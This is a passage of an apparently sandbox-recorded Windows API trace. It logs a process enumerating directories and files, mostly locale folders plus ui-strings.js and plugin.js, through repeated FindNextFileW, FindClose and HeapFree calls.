	[0167.347] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0167.347] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0167.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.350] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0167.350] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0167.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.351] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0167.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.391] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0167.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.392] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0167.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.393] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0167.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.393] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0167.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.395] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0167.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.399] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0167.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.403] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0167.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.404] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0167.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.405] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0167.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.406] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0167.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.415] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0167.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.416] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0167.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.417] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0167.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.420] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0167.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.420] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0167.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.425] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0167.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.427] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0167.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.429] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0167.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.431] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0167.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.431] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0167.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.432] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0167.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.433] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0167.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.436] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0167.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0167.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0167.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0167.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.443] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0167.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.444] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0167.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.446] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0167.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.447] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0167.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.450] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0167.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0167.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0167.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.554] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0167.554] FindClose (in: hFindFile=0x394b6b8 | out: hFindFile=0x394b6b8) returned 1
	[0167.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.554] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0167.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
